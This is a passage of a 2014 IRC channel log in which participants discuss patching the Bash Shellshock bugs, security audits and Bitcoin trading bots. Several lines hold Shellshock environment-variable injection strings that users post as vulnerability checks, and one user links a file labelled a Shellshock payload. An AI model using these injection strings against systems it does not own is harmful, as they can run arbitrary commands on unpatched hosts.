rithm: even if you're spam filter is roll your own, if SUBJECT gets passed in Env along the pipeline, and if on the pipeline something hits /bin/sh / /bin/bash it will run |
15:19 |
Naphex |
just patch it, and killall -TERM sh/ bash and you're set |
15:19 |
mike_c |
kuzetsa: ok, thanks |
15:19 |
asciilifeform |
but the analogy falls apart here. what we have, in organization, is cray's 1024 chickens. |
15:20 |
kuzetsa |
Naphex: yeah, I decided to compile a new kernel anyway so I rebooted after making sure bash was patched :) |
15:20 |
mircea_popescu |
ThickAsThieves: i often think about that, how the hell can someone who cannot/willnot read code, ever be the steward of a software project safely? <<< you know i don't actually read all that much code at all. i guess i could, more or less, but i wouldn't trust myself to understand it. by which i don't mean "what it does", but i do mean "what we can absolutely say about this program" |
15:20 |
mircea_popescu |
Naphex wasn't the patch bad ? |
15:20 |
asciilifeform |
unless you can actually build 'borg' that share a mind, rather than just army or clan, the organization cannot understand mechanisms too large for the cleverest member to understand. for any useful value of 'understand.' |
15:20 |
asciilifeform |
this is the fundamental reason why 'software sucks' |
15:20 |
mircea_popescu |
asciilifeform mechanisms are simple. |
15:20 |
kuzetsa |
mircea_popescu: there's 2 different patches |
15:21 |
mike_c |
old news? asciilifeform: Stephane Chazelas is author. |
15:21 |
mircea_popescu |
that is the thing. they only seem complex to the lazy and to the stupidly vain. but otherwise, the mechanisms are damned simple. |
15:21 |
mircea_popescu |
kuzetsa a yea nm. |
15:21 |
Naphex |
mircea_popescu: gentoo has good patch out |
15:21 |
asciilifeform |
low intrinsic complexity - yes. encrusted with 'accidental complexity - also yes. |
15:21 |
mircea_popescu |
bounce: plenty money hiring people to do the reading and lots of lawyers to paper over the obvious problems with threats of large fines << alternatively skip the lawyers thing and hurt people that fuck up. |
15:22 |
Naphex |
201409-10 [U] Bash: Code Injection (Updated fix for GLSA 201409-09) ( app-shells/bash ) |
15:22 |
mircea_popescu |
rather than dedicating yourself to being friends with idiots, dedicate yourself to being enemitous to idiots. |
15:22 |
kuzetsa |
the initial "fix" was for a parsing flaw described in CVE-2014-6271 (shellshock) which a lot of distros patched but then didn't get CVE-2014-7169 as well (a different type of issue with bash) |
15:22 |
xmj |
lovely |
15:23 |
xmj |
kuzetsa: freebsd patched 6271 yesterday 17:04 UTC and 7169 today 15:38 UTC |
15:23 |
rithm |
just wait until drive-by downloads start exploiting dd-wrt or something |
15:23 |
rithm |
then it'll get fun |
15:23 |
kuzetsa |
yeah, I have 7169 patched |
15:23 |
mircea_popescu |
;;google debian 7169 patch |
15:23 |
gribble |
CVE-2014-7169: Bash Fix Incomplete, Still Exploitable | Hacker News: <https://news.ycombinator.com/item?id=8365158>; What is the CVE-2014-6271 bash vulnerability, and how do I fix it?: <http://askubuntu.com/questions/528101/what-is-the-cve-2014-6271-bash-vulnerability-and-how-do-i-fix-it>; (CVE-2014-6271) bug introduced, and what is the patch that fully: (1 more message) |
15:23 |
mircea_popescu |
heh. |
15:24 |
kuzetsa |
ubuntu dragged their backside too |
15:25 |
mircea_popescu |
debian != ubuntu omg. |
15:26 |
nubbins` |
debian = ubuntu in the sense that england = usa |
15:26 |
mircea_popescu |
export badvar='() { (a)=>\';bash -c "hackerfile echo vulnerable";grep vulnerable hackerfile||echo safe << if anyone wants to test it |
15:26 |
Naphex |
mircea_popescu: its a stupid check lol |
15:27 |
rithm |
https://news.ycombinator.com/item?id=8367065 |
15:27 |
assbot |
This is being actively exploited. We (CloudFlare) put in place WAF rules to bloc... | Hacker News |
15:27 |
asciilifeform |
mircea_popescu: recall how self-proclaimed (or accused...) alchemists were treated. do you mean to say that, if they were put through the right punishments, they would have discovered neutron bombardment synthesis of Au at economical price? |
15:28 |
rithm |
cloudflare examples |
15:28 |
Naphex |
mircea_popescu: env varname='() { :; }; echo CodeInjectionHereWorks' bash |
15:28 |
Naphex |
safe check |
15:28 |
mike_c |
so.. just b/c you have vulnerable bash doesn't mean you got pwned. |
15:28 |
mircea_popescu |
Naphex no thaths the 6271 one |
15:28 |
kuzetsa |
:) |
15:28 |
kuzetsa |
mircea_popescu: I was just thinking the same thing |
15:28 |
mike_c |
any good way to check if you're actually vulnerable? |
15:29 |
mircea_popescu |
this is the 7169 one, where it fucks up the exporting circumventing the fix |
15:29 |
mircea_popescu |
mike_c i just quoted it above |
15:29 |
mircea_popescu |
i also quoted a test for 6271 yest. |
15:29 |
mircea_popescu |
!s from:mircea_popescu env |
15:29 |
assbot |
4 results for 'from:mircea_popescu env' : http://search.bitcoin-assets.com/?q=from%3Amircea_popescu+env |
15:29 |
mike_c |
yes, that checks if bash is vuln. |
15:29 |
mike_c |
doesn't mean your box is open. |
15:29 |
Naphex |
mike_c: check is simple cause bash shouldn't run anything in the env |
15:30 |
mircea_popescu |
mike_c checking if your box is open is something you'll haveto do yourself. |
15:30 |
mike_c |
of course. so you have vulnerable bash. doesn't mean someone can hit it through your web server. i guess i gotta construct applicable http request. |
15:30 |
Naphex |
var='() { :;}; echo whatever commands you put here runs you are vulnerable' bash |
15:30 |
rithm |
bash: warning: varname: ignoring function definition attempt |
15:30 |
rithm |
bash: error importing function definition for `varname' |
15:30 |
mircea_popescu |
mike_c it's a very large hole. odds of no pencildick managing to find it, ever... hm |
15:30 |
rithm |
seeing something like that is bueno |
15:32 |
mircea_popescu |
so i just got totally outcarded. i find this nice chocolatier, buy three pounds of mixed chocolates in three boxes, ask for their card, and leave. |
15:32 |
mircea_popescu |
their card has nothing but their name on it, which is kinda generic. nothing else. the boxes have NOTHING. no phone. no address. no website. nothing whatsoever. |
15:33 |
mike_c |
not even a keyid? |
15:33 |
mircea_popescu |
not even a keyid. |
15:33 |
mircea_popescu |
they have a specially printed bag |
15:33 |
mircea_popescu |
which has like a picture on it and that's that. |
15:34 |
mircea_popescu |
ThickAsThieves: is there a trustworthy wot-signed document of an auditor saying any version of bitcoin is safe? << the most there is is me going on the record that .6.* is probably okay. |
15:35 |
asciilifeform |
also wtf means 'safe' ? |
15:35 |
mircea_popescu |
TomServo: Would an audit even be useful without a specification? << perhaps, yes. |
15:36 |
mircea_popescu |
doctors have been doing ok auditing the human body w/o any spec for a while now. |
15:36 |
mircea_popescu |
asciilifeform ^ :D |
15:36 |
* |
asciilifeform was never obsessed with 'spec' - but does think that one must arrive at what question is being answered before attempt is meaningful |
15:37 |
asciilifeform |
for human body, death is the unambiguous spec |
15:37 |
asciilifeform |
to test against. |
15:37 |
mircea_popescu |
"what means safe" "what means healthy" |
15:37 |
rithm |
fuzz the captcha! |
15:37 |
mike_c |
gee, every single one of my ec2 servers is scheduled for a reboot now. |
15:38 |
mircea_popescu |
mike_c: security audit is basically impossible. <<< im unconvinced. |
15:38 |
mircea_popescu |
it is impossible if one allows runaway complexity for "ux" and other idiotic reasons. but then again so is any scenario of chasing two rabbits. |
15:39 |
mircea_popescu |
in a security environment, security is auditable provided the comittment to security is not compromised in order to listen to some ziggler impersonator. |
15:39 |
mircea_popescu |
!up myriarity |
15:39 |
asciilifeform |
mircea_popescu: runaway complexity may be intrinsic in von neumann paradigm. |
15:40 |
mircea_popescu |
maybe. still, a lot can be done until one runs into such walls. |
15:40 |
mike_c |
my point is you can't take existing turd and audit it to security. |
15:40 |
mike_c |
if you start with security in mind, then audits can be useful process during development. |
15:40 |
mircea_popescu |
certainly right there. |
15:41 |
mircea_popescu |
myriadgetsmehard you know you're voiced. |
15:42 |
mircea_popescu |
or were. |
15:42 |
asciilifeform |
and what's a 'ria' ? |
15:44 |
mircea_popescu |
lobbes: and the paper wasn't even peer reviewed << in that guy's case, peers can be a misnomer :p |
15:46 |
mircea_popescu |
The20YearIRCloud: the joys of people making money off of memes << nah, the hodl stuff is sa folk getting bitter butthurt at bitcoin's continued existence. |
15:47 |
mircea_popescu |
Transcript for 24-09-2014, 1337 lines <<< we've done it, everyone. i hereby call the end of the #b-a party. thanks for all the lines, it's been a hoot etc! |
15:51 |
mod6 |
%p |
15:51 |
atcbot |
>> No data returned from CoinMiner.net << [PityThePool Hashrate]: 102.62 GH/s [iSpace Pool Hashrate]: 1.51 TH/s [P2P Hashrate]: 1.70 TH/s |
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~ 44 minutes ~ |
16:35 |
jurov |
drat. updated centos/ubuntu, still vulnerable |
16:36 |
asciilifeform |
so when do we get to see a public and fleshy punishment of author ? |
16:37 |
kakobrekla |
never? |
16:39 |
kakobrekla |
im just approximating here. |
16:40 |
* |
asciilifeform is just unendingly entertained that вредители are allowed to not only keep living, but contributing code to whatever. |
16:40 |
kakobrekla |
peer review scape goat? |
16:40 |
asciilifeform |
perhaps. |
16:41 |
asciilifeform |
i vaguely recall that mr. hearbleed was a pedigreed вредитель though. |
16:42 |
asciilifeform |
and still it was paraded as 'bug' - disembodied 'bug', that was placed there by the hand of god, or whatever |
16:42 |
asciilifeform |
and not by a pair of hands attached to a sniveling shill |
16:46 |
mike_c |
oh. (smacks face) I was talking about author of exploit before, not bug. sorry for misinformation. |
16:46 |
asciilifeform |
lol |
16:47 |
nubbins` |
you mean seggelmann or henson? |
16:47 |
nubbins` |
(or both?) |
16:47 |
mike_c |
20 year old bug, good luck figuring out author. |
16:47 |
asciilifeform |
easier, in some cases, then modern piles of shit with 1000 authors |
16:52 |
thestringpuller |
mircea_popescu: the most there is is me going on the record that .6.* is probably okay. << This sounded like a cartoon. Like the Family Guy cut away where the dude throws him a parachute with an anvil in it and says, "That one is probably okay" |
16:53 |
thestringpuller |
not equating the two, just saying similar tone. |
16:54 |
thestringpuller |
https://i.imgur.com/8U5cOHM.jpg << via our evoorhees |
16:55 |
thestringpuller |
dunno why I said "our" |
16:58 |
punkman |
!up Darkstone1 |
16:59 |
Darkstone1 |
I don't do voice, sorry. |
17:00 |
Darkstone1 |
can i ask you guys a question? I have an relatively succesfull trading bot (multi-digit bitcoin gain since the beginning of this year) but i an starting to lose intrest in further development. |
17:00 |
Darkstone1 |
I'm strugging in what the best way to 'commercialize' this thing is. |
17:00 |
mike_c |
if it works.. run it? |
17:01 |
Darkstone1 |
it certainly works, but as i said, i'm starting to lose intrest in further development. And i have a full-time job to attend to. |
17:03 |
rithm |
Darkstone1 find VC's to fund your new bitcoin trading exchange |
17:03 |
Darkstone1 |
One of the questions i've been unable to answer is weither should sell the source code or only the product. |
17:03 |
Darkstone1 |
it's not an exchange, its an trading bot. |
17:03 |
rithm |
Darkstone1, wite the whole thing yourself in PHP and release it to the world in production! |
17:04 |
diametric |
public trade bots are worthless. |
17:04 |
BingoBoingo |
^ |
17:04 |
Darkstone1 |
it's written in c++ with Qt. |
17:04 |
punkman |
well you can't really sell it without source |
17:04 |
diametric |
and i'd never run a trade bot i couldn't inspect the source for. |
17:04 |
rithm |
the source and the math of the engine is what is worth buying |
17:04 |
rithm |
if anything |
17:04 |
punkman |
maybe to some noobs with bitcents running Windows |
17:05 |
Darkstone1 |
that i you shouldn't buy anything that you can't inspect the source for i can certainly agree with. |
17:05 |
Darkstone1 |
but my parther thinks that selling the thing with source code is useless. |
17:05 |
Darkstone1 |
it will just end up somewhere in the internet next week. |
17:05 |
mircea_popescu |
<kakobrekla> im just approximating here. << heh |
17:06 |
punkman |
Darkstone1, that's where the WoT helps |
17:06 |
mike_c |
the only thing worthwhile is the automation. make it easy for non-programmers to put in their own methodologies. |
17:06 |
mike_c |
sell to suckers, profit. |
17:06 |
BingoBoingo |
<Darkstone1> can i ask you guys a question? I have an relatively succesfull trading bot (multi-digit bitcoin gain since the beginning of this year) but i an starting to lose intrest in further development. << Sounds like keeping it in your pocket until it interests you again may be the best option |
17:06 |
mircea_popescu |
* asciilifeform is just unendingly entertained that вредители are allowed to not only keep living, but contributing code to whatever. <<< not quite whatever. currently the fashionable idiocies du jour still hold currency with the crowd, that "not the man, but what he's saying" and "we're all equal" and similar socialisms. they won't last the evening. |
17:07 |
Darkstone1 |
I think there are too many -bad- platforms where people can put in their own stratety already. |
17:07 |
mircea_popescu |
<mike_c> 20 year old bug, good luck figuring out author. <<< right, because nothing ever can be documented past the lifespan of the average teenager. |
17:08 |
Darkstone1 |
perhaps opinions of the masses differ.. but there is no way i'm going to insert my API keys in an online platform. |
17:08 |
mike_c |
hm, i suppose the average teenager is.. 16? |
17:08 |
mircea_popescu |
we know the name of the rose verse to come from bernardo of cluny, 1000 years ago. but keeping track who shat in the repos is too hard over two decades. |
17:08 |
mircea_popescu |
this entire shitfest won't survive me i tellya! |
17:08 |
mike_c |
;;calc (13 + 14 + 15 + 16 + 17 + 18 + 19) / 7 |
17:08 |
gribble |
16 |
17:08 |
mike_c |
woot! |
17:09 |
mircea_popescu |
<thestringpuller> not equating the two, just saying similar tone. << we are kinda inhaviting a cartoon world atm |
17:09 |
punkman |
Darkstone1: yeah I doubt any of the hosted tradebots handle integer BTC amounts |
17:09 |
mircea_popescu |
<Darkstone1> but my parther thinks that selling the thing with source code is useless. << so let the partner run it' |
17:10 |
RagnarDanneskjol |
speaking of https://github.com/orisi/orisi/issues/85 |
17:10 |
assbot |
Call for Oracle hosts Issue #85 orisi/orisi GitHub |
17:10 |
assbot |
[MPEX] [S.MPOE] 3102 @ 0.00074933 = 2.3244 BTC [-] |
17:10 |
mircea_popescu |
mike_c well yeah, almost 16, something |
17:11 |
Darkstone1 |
punkpan: i use doubles. It's bad, i know. But it does not really matter as most exchanges send you the amounts in json floats anyway.. |
17:11 |
mircea_popescu |
sigh. |
17:11 |
punkman |
Darkstone1: no I just meant they'll never get to handle any serious amount of BTC |
17:12 |
Darkstone1 |
oh. I'm not so sure. |
17:12 |
Darkstone1 |
for example we have cryptotrader. |
17:13 |
Darkstone1 |
which costs $40 a month. |
17:13 |
Darkstone1 |
(totaly idiotic platform by the way...) |
17:13 |
Darkstone1 |
wait a sec. |
17:13 |
assbot |
berndj-blackout +v failed; L1: 0, L2: 0 |
17:13 |
mircea_popescu |
!up berndj-blackout |
17:13 |
Darkstone1 |
10 dollars a month. |
17:14 |
Darkstone1 |
i dont think anyone would pay 10 dollars a month to trade pennies. |
17:14 |
berndj-blackout |
thanks mircea_popescu - just figuring out the cloak&dagger stuff :) |
17:14 |
mircea_popescu |
you need to be in assbot's l2 wot to selfvoice here. |
17:15 |
berndj-blackout |
ah, i see, i'm too random i suppose |
17:15 |
fluffypony |
http://i.imgur.com/BPGsKbc.jpg |
17:15 |
mircea_popescu |
Darkstone1 i paid 10 dollars a month numerous times to trade pennies in online games |
17:15 |
asciilifeform |
diametric: public trade bots are worthless << not only this; but any bot whose strategy is exactly known to others - is useless. |
17:15 |
mircea_popescu |
if what the delusion of being a "trader" costs is 10 bucks, plenty of takers. |
17:16 |
fluffypony |
same as the delusion of being an "investor" |
17:16 |
asciilifeform |
(in fact, i suspect that any bot whose strategy is not a game-theoretical-finesse-rape of other bots - is quite useless) |
| |
↖ |
17:16 |
fluffypony |
especially people who think they've "invested" in a cryptocurrency because they bought some |
17:16 |
Darkstone1 |
i consider myself a neobee invector :P |
17:16 |
diametric |
neobee.. |
17:16 |
fluffypony |
lol |
17:16 |
mircea_popescu |
fluffypony speaking of hard reset : http://www.youtube.com/watch?v=teV8-IGhSt8 |
17:16 |
assbot |
RObotzi.S01.Ep2.Defect - YouTube |
17:16 |
Darkstone1 |
at least i was. |
17:17 |
fluffypony |
mircea_popescu: are their English subs on that one at least? |
17:17 |
mircea_popescu |
asciilifeform well marketing is game theoretical finesse rape of other bots. except for some reason other bots insist on calling them people. |
17:17 |
mircea_popescu |
fluffypony just the video :D |
17:18 |
mircea_popescu |
;;ident berndj-blackout |
17:18 |
gribble |
CAUTION: irc nick differs from otc registered nick. Nick 'berndj-blackout', with hostmask 'berndj-blackout!~berndj@azna.co.za', is identified as user 'berndj', with GPG key id FAC02779DEC0DED1, key fingerprint BCB3F00CB5A64A16A31EFCE6FAC02779DEC0DED1, and bitcoin address None |
17:18 |
ThickAsThieves |
<+mircea_popescu> "what means safe" "what means healthy" /// such a semantic day! |
17:19 |
Darkstone1 |
asciilifeform: i can partialy agree on that. But if i do not have an game-theory fitness ass raping bot. I tried but failed. |
17:19 |
mircea_popescu |
what do you mean by that ? |
17:19 |
asciilifeform |
consider an elementary case |
17:19 |
mircea_popescu |
Darkstone1 http://trilema.com/2014/the-psychology-of-the-bagholder/ read that try again ? |
17:19 |
assbot |
The psychology of the bagholder pe Trilema - Un blog de Mircea Popescu. |
17:19 |
asciilifeform |
where you know that opponents are running, e.g., simple arbitrage bots, but each has a 'stop-loss' threshold |
17:19 |
asciilifeform |
and you know what the thresholds are |
17:20 |
Darkstone1 |
*again*? no thank you, already read it. |
17:20 |
asciilifeform |
then you can, if your 'hammer' (ability to move price) is large enough, manipulate. |
17:20 |
kakobrekla |
i see this everyday - what ascii is describing |
17:20 |
mircea_popescu |
kakobrekla you might not be the only one. |
17:20 |
mircea_popescu |
Darkstone1 a okay then |
17:20 |
kakobrekla |
(or maybe im just imagining) |
17:20 |
Darkstone1 |
And i am not an neobee bagholder. I sold everything after the crash and gained +50%. |
17:21 |
asciilifeform |
in fact, even if you do not know the actual strategies - you can discover the system's 'resonances' by repeated hammer blows. |
17:21 |
mircea_popescu |
Darkstone1 the point was, "how to build gt finesse bots" |
17:21 |
mircea_popescu |
asciilifeform works especially well if you're too big to fail, thoo. |
17:21 |
asciilifeform |
and yes, i must admit i worked on this. but let it go, from lack of hammer. |
17:22 |
asciilifeform |
other people - who have hammer - should be presumed to have worked on it, as well. |
17:22 |
berndj-blackout |
asciilifeform: won't any nonzero hammer work, given enough time to get a decent SNR? |
17:22 |
asciilifeform |
berndj-blackout: nope. to run with the mechanical analogy, the system has a certain amount of 'dampening'. |
17:22 |
ben_vulpes |
hammer wears |
17:23 |
ben_vulpes |
energy reservoir backing it empties. |
17:23 |
mircea_popescu |
dampening is right |
17:23 |
ThickAsThieves |
<+kakobrekla> (or maybe im just imagining) /// it wouldnt be ta otherwise |
17:24 |
berndj-blackout |
asciilifeform, add to that, use a spread-spectrum hammer or something |
17:24 |
asciilifeform |
to continue the oscillator analogy: nitwits running simple bots will show up as 'line spectra'. |
17:25 |
Darkstone1 |
I'm fairly sure i've met bots specially crafted to screw my bots at one exchange once... |
17:25 |
Darkstone1 |
it was a sad day. |
17:25 |
ThickAsThieves |
another sign that chinese exchanges are all bots/washing, the books are always balanced |
17:26 |
ThickAsThieves |
orderbooks* |
17:26 |
ben_vulpes |
would this actually be a frequency response thing? |
17:26 |
asciilifeform |
Darkstone1: if this is even remotely possible to do to you - and probably necessarily so if your bot is less complicated, than, say, 'eurisko' - give up. |
17:26 |
mircea_popescu |
really the proposition of making a living with trading bots is the response of the engineer who confronted with the fundamental impossibility of making money picking stocks decides to write a hard ai to do it. |
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17:26 |
mircea_popescu |
exactly asciilifeform's "but we don't even know how to make computers yet!" sorta thing |
17:26 |
ThickAsThieves |
shit i dont even trust stop orders |
17:26 |
ThickAsThieves |
nevermind a bot |
17:26 |
Darkstone1 |
asciilifeform It is no longer possible to do so. I belive i closed all gaps. |
17:27 |
mircea_popescu |
is this the famous last words competition ? |
17:27 |
ThickAsThieves |
hehe |
17:27 |
ThickAsThieves |
be creative! |
17:27 |
Darkstone1 |
except the one where a whale sells hundreds of bitcoins on all the exchanges where i'm active. But that probably a slim chance. |
17:27 |
mircea_popescu |
what could the tiger possibly do. |
17:27 |
asciilifeform |
Darkstone1: ever play 'core wars' ? |
17:27 |
mircea_popescu |
hundreds ?! uh. |
17:27 |
asciilifeform |
Darkstone1: or write a virus ? |
17:27 |
Darkstone1 |
no i'll look it up. |
17:27 |
ThickAsThieves |
Darkstone1 this is how I trade at times |
17:28 |
BingoBoingo |
Come on, real trading insight comes from the gut! |
17:28 |
asciilifeform |
except the one where a whale sells hundreds of bitcoins << and your machine isn't buying cheapo coin in its wake? |
17:30 |
fluffypony |
oh I see we're calling the Bash bug "ShellShock" now |
17:30 |
ThickAsThieves |
elation=sell |
17:30 |
fluffypony |
I hope someone made a logo |
17:30 |
BingoBoingo |
You've got more serotogenic neurons in the ganglia there than in the brain |
17:30 |
ThickAsThieves |
teach your bots elation |
17:30 |
fluffypony |
I can't take these bugs seriously without a logo and an info site |
17:30 |
BingoBoingo |
ThickAsThieves: No, teach them fear, that sinking feeling in the pit of one's stomach! |
17:30 |
ThickAsThieves |
sure if you wanna make a bad trader |
17:30 |
BingoBoingo |
Hunger as well |
17:30 |
ThickAsThieves |
!up Darkstone1 |
17:30 |
BingoBoingo |
!up Darkstone1 |
17:32 |
kakobrekla |
http://singlesaints.com/firefile/temp |
17:33 |
kakobrekla |
shellshock payload |
17:35 |
BingoBoingo |
https://upload.wikimedia.org/wikipedia/commons/7/76/Clitoria_%28253000626%29.jpg |
17:44 |
asciilifeform |
!up berndj-blackout |
17:44 |
kakobrekla |
!s coinflow |
17:44 |
assbot |
49 results for 'coinflow' : http://search.bitcoin-assets.com/?q=coinflow |
17:45 |
berndj-blackout |
thanks, but i'm likely to be idle for a while. should work on my rating i guess |
17:46 |
kakobrekla |
;;gettrust assbot coinflow |
17:46 |
gribble |
WARNING: Currently not authenticated. Trust relationship from user assbot to user coinflow: Level 1: 0, Level 2: 0 via 0 connections. Graph: http://b-otc.com/stg?source=assbot&dest=coinflow | WoT data: http://b-otc.com/vrd?nick=coinflow | Rated since: never |
17:46 |
kakobrekla |
anyone got a contact from this dude |
17:52 |
kakobrekla |
;;seen parseval |
17:52 |
gribble |
parseval was last seen in #bitcoin-assets 41 weeks, 5 days, 19 hours, 24 minutes, and 53 seconds ago: <parseval> though, really, I think banning banks from handling bitcoin transactions is a good thing |
17:52 |
kakobrekla |
huh |
17:52 |
mike_c |
sry, btcalpha put coinflow out of bizness |
17:53 |
kakobrekla |
i just noticed - looking at logs - he is spamming my boxen |
17:53 |
mike_c |
i pwned his box for kicks too |
17:53 |
mike_c |
(j/k) |
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~ 18 minutes ~ |
18:12 |
mircea_popescu |
<fluffypony> I can't take these bugs seriously without a logo and an info site << these bugs got no ux! |
18:12 |
fluffypony |
damn straight |
18:12 |
fluffypony |
before announcing it they should at least have a logo contest |
18:13 |
BingoBoingo |
OMG coverup in New York City!!! http://nypost.com/2014/09/25/groundhog-dropped-by-de-blasio-died-of-internal-injuries/ |
18:13 |
assbot |
Zoo in coverup after groundhog dropped by de Blasio dies | New York Post |
18:13 |
mircea_popescu |
kakobrekla used to run a fund with PsychoticBoy |
18:14 |
kakobrekla |
wha??? |
18:14 |
kakobrekla |
oh |
18:14 |
kakobrekla |
he seems a goner |
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~ 19 minutes ~ |
18:34 |
ben_vulpes |
awwwww ye |
18:34 |
ben_vulpes |
if these deals come through, i'm going to have such sweet projects lined up |
18:35 |
ben_vulpes |
and there are enough on the table that i should be making odds on how many close |
18:48 |
BingoBoingo |
https://twitter.com/dannyyadron/status/515205493623898112 << Guess the apple warrant canary disappeared because... warrant |
18:48 |
assbot |
Breaking: FBI Director says the bureau is talking to Apple and Google about new encryption settings. Story to come. |
18:51 |
ben_vulpes |
new encryption settings |
18:52 |
ben_vulpes |
the "let me fuck your shit up" switch must be enabled. |
18:53 |
BingoBoingo |
Eh, the new Apple stuff seems to have a bunch of built in side channels to keep syncing the device with the desktop easy |
18:58 |
ThickAsThieves |
kako, I owned coinflow in the end |
18:58 |
ThickAsThieves |
parseval is long gone |
18:58 |
ThickAsThieves |
afaik my friend hosting it let it lapse |
18:58 |
ThickAsThieves |
but i emailed him to check |
19:01 |
kakobrekla |
ThickAsThieves http://dpaste.com/367MW24.txt |
19:02 |
ThickAsThieves |
k |
19:02 |
ThickAsThieves |
relayed |
19:10 |
kakobrekla |
ThickAsThieves what are your plans with that thing anyway |
19:12 |
ThickAsThieves |
stopped all work on it |
19:12 |
ThickAsThieves |
had some decent plans back when there were more exchanges |
19:12 |
ThickAsThieves |
but now i'm all set |
19:13 |
ThickAsThieves |
in addition to coming to terms with what it really means to be a usian |
19:13 |
kakobrekla |
:( |
19:14 |
asciilifeform |
apple << wtf is the point of 'canary' if everyone ignores, makes up justifications, when it croaks. |
19:14 |
ThickAsThieves |
it's ok, now i'm sharpening my trading skillz |
19:14 |
ThickAsThieves |
enjoying it |
19:15 |
asciilifeform |
obligatory: sheckley's 'hour of battle' -- |
19:15 |
asciilifeform |
http://www.gutenberg.org/files/29445/29445-h/29445-h.htm |
19:15 |
assbot |
Error 403 |
19:18 |
|
Bet placed: 4.29 BTC for Yes on "BTC Difficulty over 41Bn before November" http://bitbet.us/bet/1050/ Odds: 79(Y):21(N) by coin, 77(Y):23(N) by weight. Total bet: 7.17010104 BTC. Current weight: 80,404. |
19:28 |
ben_vulpes |
the gutenberg notices are longer than the story |
19:28 |
ben_vulpes |
o.O |
19:41 |
pete_dushenski |
<mircea_popescu> lord norwich is the english authority on venice << merci! |
19:42 |
pete_dushenski |
looks like asciilifeform rectothermal scan will be… a dog: |
19:42 |
pete_dushenski |
http://www.bloomberg.com/news/2014-09-23/a-police-dog-for-the-digital-age-she-can-smell-the-usb-drive-you-re-hiding.html |
19:42 |
assbot |
A Police Dog for the Digital Age: She Can Smell the USB Drive You're Hiding - Bloomberg |
19:42 |
pete_dushenski |
for stopping teh child pr0n! |
19:43 |
asciilifeform |
pete_dushenski: ancient item, search #b-a logs. |
19:43 |
pete_dushenski |
asciilifeform: apple << wtf is the point of 'canary' if everyone ignores, makes up justifications, when it croaks. << just because puppets talking "ignore" doesn't mean everyone ignores |
19:43 |
pete_dushenski |
!s usb dog |
19:43 |
assbot |
0 results for 'usb dog' : http://search.bitcoin-assets.com/?q=usb+dog |
19:43 |
pete_dushenski |
hm |
19:44 |
pete_dushenski |
!s digital dog |
19:44 |
assbot |
0 results for 'digital dog' : http://search.bitcoin-assets.com/?q=digital+dog |
19:44 |
kakobrekla |
!s firewire cat |
19:44 |
assbot |
0 results for 'firewire cat' : http://search.bitcoin-assets.com/?q=firewire+cat |
19:44 |
pete_dushenski |
futility is you! |
19:44 |
pete_dushenski |
or maybe "thunderbolt terrier" ? |
19:46 |
asciilifeform |
pete_dushenski: http://log.bitcoin-assets.com/?date=07-07-2014#747841 |
19:46 |
assbot |
Logged on 07-07-2014 14:17:39; asciilifeform: BingoBoingo, mircea_popescu, others: re: electronics-sniffing dog << distraction psyop. in real life, hidden electronics are found with a nonlinear junction detector. |
19:46 |
pete_dushenski |
;;google nonlinear junction detector |
19:46 |
gribble |
Nonlinear junction detector - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Nonlinear_junction_detector>; REI ORION 2.4 Non-Linear Junction Detector: <http://www.research-electronics.com/cgi-bin/main.cgi?action=viewprod&ct=products&pct=ORION%202.4&num=ORION%202.4>; NLJD - Non Linear Junction Detector Tutorial - Granite Island Group: (1 more message) |
19:47 |
pete_dushenski |
that leaves us with paper wallets entre les buttcheeks. |
19:47 |
pete_dushenski |
laminted, natch |
19:48 |
asciilifeform |
pete_dushenski: or semiconductors encased in continuous conductive countours. |
19:49 |
pete_dushenski |
asciilifeform: analog or digital, user pref |
19:50 |
mircea_popescu |
https://www.youtube.com/watch?v=5JbnDXw-0pM << friction welding. it's a thing |
19:50 |
assbot |
The Power of Friction - YouTube |
19:50 |
asciilifeform |
of course it is |
19:50 |
asciilifeform |
when unintentional - bane of machine tool operators everywhere |
19:50 |
mircea_popescu |
pretty cool vid i say! |
19:51 |
asciilifeform |
these appear to be wheel hubs. |
19:52 |
mircea_popescu |
JuliaTourianski how goes canada ? |
19:53 |
mircea_popescu |
<asciilifeform> apple << wtf is the point of 'canary' if everyone ignores, makes up justifications, when it croaks. << "everyone" ? the us agitprop (calling itslef "mainstream media") is not everyone just like tardstalk.org is not everyone in bitcoin. |
19:54 |
mircea_popescu |
heck, it'll be tough to argue that they're someone at all, even. |
19:54 |
asciilifeform |
mircea_popescu: this was not limited to the loltron. plenty of 'humans' made excuses. |
19:54 |
mircea_popescu |
like... who ? schneier ? :D |
19:55 |
mircea_popescu |
moldbug ? |
19:55 |
asciilifeform |
nah peanut gallery. |
19:55 |
mircea_popescu |
well ppls can err |
19:57 |
pete_dushenski |
friction << certified cool! |
19:59 |
mircea_popescu |
"Richard Everset and C. R. Jones had gone on the first interstellar flight. They had found an inhabited planet in the region of Vega. The rest was standard procedure." |
19:59 |
mircea_popescu |
such bad writing. if something is a first then it can't be "standard procedure" |
19:59 |
mircea_popescu |
standard procedure is what an old whore does, never a virgin. |
19:59 |
asciilifeform |
mircea_popescu: sheckley was a sort of comedian. |
19:59 |
ben_vulpes |
first moon landing - full of standard procedures. |
20:00 |
asciilifeform |
mircea_popescu: this partially why he was revered in the soviet world, where he in fact died (on tour) a few years ago. |
20:00 |
asciilifeform |
(while almost forgotten in his native land) |
20:00 |
mircea_popescu |
i never heard of him |
20:00 |
* |
asciilifeform somewhat surprised |
20:02 |
mircea_popescu |
the premise is not bad. |
20:03 |
mircea_popescu |
"What armor is there against thought? How do you dodge a wavelength?" << meh. why ruin it ? wavelength is not thought, and moreover easily armored against. |
20:05 |
mircea_popescu |
"Any alteration from the typical human brain wave pattern of the occupants of a Detector-equipped ship would boost the indicator around the dial. Even a bad dream or a case of indigestion would jar it." || "The unmoving dials." jesus pick one. |
20:07 |
asciilifeform |
mircea_popescu: this is generally why ancient sf is best read in childhood |
20:08 |
asciilifeform |
mircea_popescu: it doesn't usually survive this treatment |
20:08 |
asciilifeform |
mircea_popescu: doesn't make it worthless. |
20:08 |
mircea_popescu |
myeah. |
20:10 |
assbot |
[MPEX] [S.MPOE] 38081 @ 0.00074777 = 28.4758 BTC [-] {2} |
20:10 |
mircea_popescu |
actually it's a little jewel, just a bit of cruft here and there. |
20:10 |
mircea_popescu |
maybe should be rewritten properly. |
20:11 |
JuliaTourianski |
+mircea_popescu quite well, how goes wherever you live? |
20:12 |
mircea_popescu |
where i live goes nudely swell. |
20:12 |
mircea_popescu |
which is a superlative idiomatic i've just created for the occasion. |
20:13 |
JuliaTourianski |
fancy |
